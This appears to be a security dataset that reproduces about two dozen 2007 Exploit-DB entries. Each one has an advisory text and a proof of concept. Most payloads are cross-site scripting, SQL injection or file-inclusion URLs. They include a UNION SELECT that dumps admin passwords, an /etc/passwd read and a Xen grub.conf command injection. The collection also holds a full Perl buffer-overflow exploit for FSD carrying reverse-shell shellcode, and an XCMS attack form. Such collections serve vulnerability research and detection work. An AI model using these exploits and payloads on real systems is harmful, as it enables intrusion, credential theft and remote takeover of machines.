QLWD/code_shield huggingface dataset:
标题: Google Mini Search Appliance 3.4.14 - 'IE' Cross-Site Scripting EDB-ID: 30631 CVE: 2007-5255 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/25894/info

Google Mini Search Appliance is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Google Mini Search Appliance 3.4.14; other versions may also be affected.

http://www.example.com/search?ie=[ Evil Code ]&site=x&output=xml_no_dtd'&client=x&proxystylesheet=x' URL: https://www.exploit-db.com/exploits/30631
标题: Ohesa Emlak Portal 1.0 - 'satilik.asp?Kategori' SQL Injection EDB-ID: 30625 CVE: 2007-5180 类型: WEBAPPS 平台: ASP 发布日期: 2007-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/25880/info

Ohesa Emlak Portal is prone to multiple SQL-injection vulnerabilities because it fails to adequately sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Ohesa Emlak Portal 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/satilik.asp?Kategori=[SQL] URL: https://www.exploit-db.com/exploits/30625
标题: ASP Product Catalog 1.0 - 'default.asp' SQL Injection EDB-ID: 30629 CVE: 2008-6875 类型: WEBAPPS 平台: ASP 发布日期: 2007-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/25884/info

ASP Product Catalog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/Catalog/default.asp?cid=8%20union%20all%20select%20Password,User_ID,Password,User_ID,Password,User_ID,Password%20from%20admin#
http://www.example.comdefault.asp?cid=-999 union select 0,user_id,password,3,4,5 from admin URL: https://www.exploit-db.com/exploits/30629
标题: FSD 2.052/3.000 - 'sysuser.cc sysuser::exechelp' 'HELP' Remote Overflow EDB-ID: 30627 CVE: 2007-5256 类型: REMOTE 平台: WINDOWS 发布日期: 2007-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/25883/info

FSD is prone to multiple remote buffer-overflow vulnerabilities because the application fails to perform adequate boundary-checks on user-supplied data.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

These issues affect FSD 2.052 d9 and 3.0000 d9; other versions may also be affected. 

#!/usr/bin/perl

# FSFDT remote exploit by weak[at]fraglab.at
# spawns reverse shell to 10.0.0.100:4321
# tested against 'FSFDT Windows FSD Beta from FSD V3.000 draft 9' on win2k sp4

use IO::Socket;

if( $#ARGV < 1 )
{
        print "usage: perl ".$0." <ip> <port>";
        exit();
}
my $ip = $ARGV[0];
my $port = $ARGV[1];

print "connecting...\n";
my $sock = new IO::Socket::INET (  PeerAddr => $ip,  PeerPort => $port,  Proto => 'tcp',  );
die "could not create socket: $!\n" unless $sock;

# jmp esp in KERNEL32.DLL 5.0.2195.7006
my $jmpesp = "\xB7\x49\xE7\x77";

# encoded 'jmp 0x400' to jump to stage2
my $jmpcode =
"\xeb\x11\x5e\x31\xc9\xb1\x1e\x80\x6c\x0e\xff\x35\x80\xe9\x01".
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x0e\x16\x0e\x69\x59\x8d".
"\x8d\x8d\x8d\xb5\x1d\x1c\x66\xfe\x9b\xb6\x1e\x30\x34\xb5\x65".
"\x36\x75\x17\x2f\x1d\x36\x3a\x36\x36";

# win32_reverse -  EXITFUNC=thread LHOST=10.0.0.2 LPORT=4321 Size=312 Encoder=PexFnstenvSub http://metasploit.com
# bad chars: 0x00 0x0A 0x0D 0x20 0x29
my $shellcode =
"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1e".
"\x2a\x6e\x8f\x83\xeb\xfc\xe2\xf4\xe2\x40\x85\xc2\xf6\xd3\x91\x70".
"\xe1\x4a\xe5\xe3\x3a\x0e\xe5\xca\x22\xa1\x12\x8a\x66\x2b\x81\x04".
"\x51\x32\xe5\xd0\x3e\x2b\x85\xc6\x95\x1e\xe5\x8e\xf0\x1b\xae\x16".
"\xb2\xae\xae\xfb\x19\xeb\xa4\x82\x1f\xe8\x85\x7b\x25\x7e\x4a\xa7".
"\x6b\xcf\xe5\xd0\x3a\x2b\x85\xe9\x95\x26\x25\x04\x41\x36\x6f\x64".
"\x1d\x06\xe5\x06\x72\x0e\x72\xee\xdd\x1b\xb5\xeb\x95\x69\x5e\x04".
"\x5e\x26\xe5\xff\x02\x87\xe5\xcf\x16\x74\x06\x01\x50\x24\x82\xdf".
"\xe1\xfc\x08\xdc\x78\x42\x5d\xbd\x76\x5d\x1d\xbd\x41\x7e\x91\x5f".
"\x76\xe1\x83\x73\x25\x7a\x91\x59\x41\xa3\x8b\xe9\x9f\xc7\x66\x8d".
"\x4b\x40\x6c\x70\xce\x42\xb7\x86\xeb\x87\x39\x70\xc8\x79\x3d\xdc".
"\x4d\x69\x3d\xcc\x4d\xd5\xbe\xe7\x14\x2a\x6e\xeb\x78\x42\x7e\x6e".
"\x78\x79\xe7\x6e\x8b\x42\x82\x76\xb4\x4a\x39\x70\xc8\x40\x7e\xde".
"\x4b\xd5\xbe\xe9\x74\x4e\x08\xe7\x7d\x47\x04\xdf\x47\x03\xa2\x06".
"\xf9\x40\x2a\x06\xfc\x1b\xae\x7c\xb4\xbf\xe7\x72\xe0\x68\x43\x71".
"\x5c\x06\xe3\xf5\x26\x81\xc5\x24\x76\x58\x90\x3c\x08\xd5\x1b\xa7".
"\xe1\xfc\x35\xd8\x4c\x7b\x3f\xde\x74\x2b\x3f\xde\x4b\x7b\x91\x5f".
"\x76\x87\xb7\x8a\xd0\x79\x91\x59\x74\xd5\x91\xb8\xe1\xfa\x06\x68".
"\x67\xec\x17\x70\x6b\x2e\x91\x59\xe1\x5d\x92\x70\xce\x42\x81\x41".
"\xfe\x4a\x3d\x70\xc8\xd5\xbe\x8f";

print "sending payload...\n";
print $sock "HELP " . "A"x200 . $jmpesp . "\x90"x8 . $jmpcode . "\n" . "\x90"x400 . $shellcode;
close($sock);

print "done.\n"; URL: https://www.exploit-db.com/exploits/30627
标题: Netkamp Emlak Scripti - Multiple Input Validation Vulnerabilities EDB-ID: 30624 CVE: 2007-5181 类型: WEBAPPS 平台: ASP 发布日期: 2007-10-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/25875/info

Netkamp Emlak Scripti is prone to multiple input-validation vulnerabilities, including multiple HTML-injection issues and an SQL-injection issue, because the application fails to sanitize user-supplied input.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, execute malicious script code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com.com/script_path/detay.asp?ilan_id=[SQL] URL: https://www.exploit-db.com/exploits/30624
标题: Microsoft Windows Explorer - '.png' Image Local Denial of Service EDB-ID: 30619 CVE: 2007-5133 类型: DOS 平台: WINDOWS 发布日期: 2007-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/25816/info

Microsoft Windows Explorer is prone to a denial-of-service vulnerability because it fails to handle malformed PNG image files.

Attackers can exploit this issue to cause Windows Explorer to exhaust CPU cycles and become unresponsive.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30619.png URL: https://www.exploit-db.com/exploits/30619
标题: SimpNews 2.41.3 - 'backurl' Cross-Site Scripting EDB-ID: 30618 CVE: 2007-4874 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25809/info
 
SimpNews is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect SimpNews 2.41.03; prior versions may also be affected. 

http://www.example.com/[product_directory]/comment.php?lang=en&mode=new&entryref=&backurl="><script>alert(document.cookies)</script> URL: https://www.exploit-db.com/exploits/30618
标题: SimpGB 1.46.2 - '/admin/?l_username' Cross-Site Scripting EDB-ID: 30615 CVE: 2007-5127 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25808/info

SimpGB is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect SimpGB 1.46.02; other versions may also be vulnerable. 

http://www.example.com/[PRODUCT DIRECTORY]/admin/?no_rgcheck=true&lang=1&l_username=</td><script>alert(document.cookies)</script><td> URL: https://www.exploit-db.com/exploits/30615
标题: SimpNews 2.41.3 - 'l_username' Cross-Site Scripting EDB-ID: 30617 CVE: 2007-4874 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25809/info

SimpNews is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect SimpNews 2.41.03; prior versions may also be affected. 

http://www.example.com/[product_directory]/admin/layout2b.php?no_rgcheck=true&lang=1&do_login=1&l_username=</td><script>alert(document.cookies)</script><td> URL: https://www.exploit-db.com/exploits/30617
标题: JSPWiki 2.5.139 - 'Diff.jsp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30613 CVE: 2007-5120 类型: WEBAPPS 平台: JSP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25803/info
     
JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.
     
Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
     
Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/Diff.jsp?page=Administrator&r1=[XSS]&r2=[XSS] URL: https://www.exploit-db.com/exploits/30613
标题: JSPWiki 2.5.139 - 'Comment.jsp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30610 CVE: 2007-5120 类型: WEBAPPS 平台: JSP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25803/info
  
JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.
  
Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
  
Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/Comment.jsp?page=Main&action=save&edittime=1186698386737&addr=127.0.0.1&_editedtext=[XSS]&author=AnonymousCoward&link=&ok=Save URL: https://www.exploit-db.com/exploits/30610
标题: JSPWiki 2.5.139 - 'UserPreferences.jsp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30611 CVE: 2007-5120 类型: WEBAPPS 平台: JSP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25803/info
   
JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.
   
Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
   
Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/UserPreferences.jsp?tab=profile&loginname=[XSS]&password=test&password2=test&wikiname=[XSS]&fullname=[XSS]&email=[XSS]&ok=Save+profile&action=saveProfile URL: https://www.exploit-db.com/exploits/30611
标题: Xen 3.0.3 - pygrub TOOLS/PYGRUB/SRC/GRUBCONF.PY Local Command Injection EDB-ID: 30620 CVE: 2007-4993 类型: LOCAL 平台: LINUX 发布日期: 2007-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/25825/info

Xen is prone to a local command-injection vulnerability that can lead to privilege escalation.

This issue occurs because the application fails to validate input in the 'tools/pygrub/src/GrubConf.py' script.

This vulnerability affects Xen 3.0.3; other versions may be affected as well. 

An attacker can exploit this issue by including Python commands in a configuration file using filesystem utilities. The following proof of concept is available:

Change the 'default' statement in grub.conf to:
default "+str(0*os.system(" insert evil command here "))+" URL: https://www.exploit-db.com/exploits/30620
标题: PHP-Nuke Dance Music Module - 'index.php' Local File Inclusion EDB-ID: 30614 CVE: 2007-5092 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25806/info

Dance Music is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized remote user to view files and execute local scripts in the context of the webserver process. 

http://www.example.com/modules.php?name=Dance_Music-MM&page=1&ACCEPT_FILE[1]=../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/30614
标题: Novus 1.0 - 'Buscar.asp' Cross-Site Scripting EDB-ID: 30621 CVE: 2007-5142 类型: WEBAPPS 平台: ASP 发布日期: 2007-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/25828/info

Novus is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/buscar.asp?p=[XSS] URL: https://www.exploit-db.com/exploits/30621
标题: JSPWiki 2.5.139 - 'Login.jsp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30612 CVE: 2007-5120 类型: WEBAPPS 平台: JSP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25803/info
    
JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.
    
Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
    
Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/Login.jsp?tab=profile&loginname=[XSS]&password=Test&password2=Test&wikiname=[XSS]&fullname=[XSS]&email=[XSS]&ok=Save+profile&action=saveProfile URL: https://www.exploit-db.com/exploits/30612
标题: SimpGB 1.46.2 - '/admin/emoticonlist.php?l_emoticonlist' Cross-Site Scripting EDB-ID: 30616 CVE: 2007-5127 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25808/info
 
SimpGB is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect SimpGB 1.46.02; other versions may also be vulnerable. 

http://www.example.com/[PRODUCT DIRECTORY]/admin/emoticonlist.php?lang=1&l_emoticonlist=</title><script>alert(document.cookies)</script> URL: https://www.exploit-db.com/exploits/30616
标题: Microsoft Internet Explorer 5.0.1 - Arbitrary File Upload EDB-ID: 30622 CVE: 2007-5158 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/25836/info

Microsoft Internet Explorer is prone to an information-disclosure vulnerability that allows attackers to gain access to the contents of arbitrary files.

This issue stems from a design error resulting from the improper handling of form fields.

This issue is similar to the one described in BID 24725 (Mozilla Firefox OnKeyDown Event File Upload Vulnerability). 

# based upon Hong's exploit:
# http://sla.ckers.org/forum/read.php?3,13142

<script>

function Clear() {
     document.getElementById("label1").htmlFor="file1";
     document.getElementById("text1").focus();
}

function Down() {
     document.getElementById("file1").focus();
}

</script>

<input type="file" id="file1" name="file1" onkeydown="Clear()" onkeyup="Clear()" />
<label id="label1" name="label1"></label>
<br />
<textarea name="text1" id="text1" onkeydown="Down()">
&lt;/textarea&gt; URL: https://www.exploit-db.com/exploits/30622
标题: Urchin 5.7.x - 'session.cgi' Cross-Site Scripting EDB-ID: 30606 CVE: 2007-5112 类型: WEBAPPS 平台: CGI 发布日期: 2007-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/25788/info

Urchin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://target/session.cgi?"><script>alert('XSS')</script>< URL: https://www.exploit-db.com/exploits/30606
标题: Vigile CMS 1.8 Wiki Module - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30601 CVE: 2007-5052 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/25752/info

The Vigile CMS wiki module is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Vigile CMS 1.8 is vulnerable; other versions may also be affected.

http://www.example.com/[VIGILE_CMS_PATH]/index.php?nav=[WIKINAME]&title=[XSS]
http://www.example.com/[VIGILE_CMS_PATH]/index.php?nav=[WIKINAME]&cat=[XSS] URL: https://www.exploit-db.com/exploits/30601
标题: JSPWiki 2.5.139 - 'NewGroup.jsp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30608 CVE: 2007-5120 类型: WEBAPPS 平台: JSP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25803/info

JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.

Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/NewGroup.jsp?group=[XSS] URL: https://www.exploit-db.com/exploits/30608
标题: WebBatch - 'webbatch.exe' Cross-Site Scripting EDB-ID: 30598 CVE: 2007-5010 类型: WEBAPPS 平台: CGI 发布日期: 2007-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/25744/info

WebBatch is prone to a cross-site scripting vulnerability and an information-disclosure vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The attacker may leverage the information-disclosure issue to obtain potentially sensitive information that could aid in further attacks.

Reports indicate that WebBatch 2007D is not affected by the cross-site scripting issue. 

http://www.example.com/webcgi/webbatch.exe?XSS
http://www.example.com/webcgi/webbatch.exe?PATH/XSS URL: https://www.exploit-db.com/exploits/30598
标题: JSPWiki 2.5.139 - 'edit.jsp?edittime' Cross-Site Scripting EDB-ID: 30609 CVE: 2007-5120 类型: WEBAPPS 平台: JSP 发布日期: 2007-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/25803/info
 
JSPWiki is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and an HTML-injection issue, because the application fails to adequately sanitize user-supplied input.
 
Attacker-supplied HTML and script code will run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
 
Versions prior to JSPWiki 2.5.138-beta are vulnerable. 

http://www.example.com/wiki/Edit.jsp?page=Main&action=save&edittime=1186698299838&addr=127.0.0.1&_editedtext=[XSS]&changenote=[XSS]&ok=Save URL: https://www.exploit-db.com/exploits/30609
标题: LevelOne WBR3404TX Broadband Router - 'RC' Cross-Site Scripting EDB-ID: 30597 CVE: 2007-5027 类型: WEBAPPS 平台: CGI 发布日期: 2007-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/25738/info

The LevelOne WBR3404TX Broadband Router is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied input. These issues occurs in the web management panel.

Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected site. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

LevelOne WBR3404TX firmware version R1.94p0vTIG is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/ddns?RC=%40&DG0=x&DP=D&DD=[xss]
http://www.example.com/cgi-bin/ddns?RC=%40&DG0=x&DP=D&DD=&DU=[xss] URL: https://www.exploit-db.com/exploits/30597
标题: XCMS 1.1/1.7 - 'Password' Arbitrary PHP Code Execution EDB-ID: 30603 CVE: 2007-5060 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/25771/info

Xcms is prone to a vulnerability that lets attackers execute arbitrary PHP code because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary malicious PHP code in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible. 

<html>
<head>
<title>-XCMS Arbitrary Command Execution Vuln by x0kster -</title>
</head>
<body>
<pre>
- [XCMS All Version Arbitrary Command Execution Vulnerability ] -
- [Bug found by x0kster - x0kster (at) gmail (dot) com [email concealed] ] -
</pre>
<form name="pass" method="post" action="http://www.xcms.it/index.php?lng=it&pg=admin&s=cpass">
<input type="hidden" name="pass" value="1190316852" />
<pre>
Password : <input type="password" size="20" name="password_1190316852" />
Repete password : <input type="password" size="20" name="rpassword_1190316852" />
<input type="submit" value="Modifica Password" />
</pre>
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/30603